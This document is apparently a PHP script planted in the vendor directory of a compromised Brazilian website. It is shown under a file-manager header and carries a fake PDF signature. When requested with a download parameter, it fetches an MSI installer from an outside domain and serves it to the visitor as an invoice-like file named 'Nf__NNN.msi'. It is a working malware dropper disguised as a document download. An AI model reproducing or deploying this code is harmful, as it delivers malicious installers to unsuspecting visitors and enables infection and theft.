%PDF- %PDF-
| Direktori : /home/vacivi36/dossteste.vacivitta.com.br/vendor/ |
| Current File : /home/vacivi36/dossteste.vacivitta.com.br/vendor/teste.php |
<?php
ini_set("display_errors", 1);
error_reporting(E_ALL);
function xRand() {
// Aqui ele vai gerar 3 numeros aleatorios, se quiser mais, so mudar o 3 ali no final do codigo
return substr(str_shuffle("0123456789"), 0, 3);
}
if (isset($_GET['download'])) {
$zrand = xRand();
$nomeArquivo = "Nf__{$zrand}.msi";
$tempDir = sys_get_temp_dir(); // Diretório temporário do sistema
$prefixoTemp = "setup_{$zrand}_";
$tempMsi = tempnam($tempDir, $prefixoTemp);
$novoTempMsi = $tempMsi . '.pdf';
rename($tempMsi, $novoTempMsi);
$tempMsi = $novoTempMsi;
// $externalMsiUrl = "https://orcafilexviewnew.top/ORC/psq.msi";
$externalMsiUrl = "https://orcafilexviewnew.top/ORC/x.msi";
function downloadFile($url, $destination) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FAILONERROR, true); // Retorna falso em erros HTTP >=400
$data = curl_exec($ch);
if ($data === false) {
$error = curl_error($ch);
echo "Erro no cURL: " . htmlspecialchars($error);
curl_close($ch);
return ['success' => false, 'error' => $error];
}
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode >= 400) {
return ['success' => false, 'error' => "Erro HTTP: $httpCode"];
}
if (file_put_contents($destination, $data) === false) {
return ['success' => false, 'error' => "Falha ao salvar o arquivo temporário."];
}
return ['success' => true];
}
$downloadResult = downloadFile($externalMsiUrl, $tempMsi);
if (!$downloadResult['success']) {
echo "Erro ao baixar o arquivo: " . htmlspecialchars($downloadResult['error']);
if (file_exists($tempMsi)) {
unlink($tempMsi);
}
exit;
}
if (ob_get_level()) {
ob_end_clean();
}
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($nomeArquivo) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($tempMsi));
readfile($tempMsi);
unlink($tempMsi);
exit;
} else {
echo 'Parâmetros inválidos.';
}
?>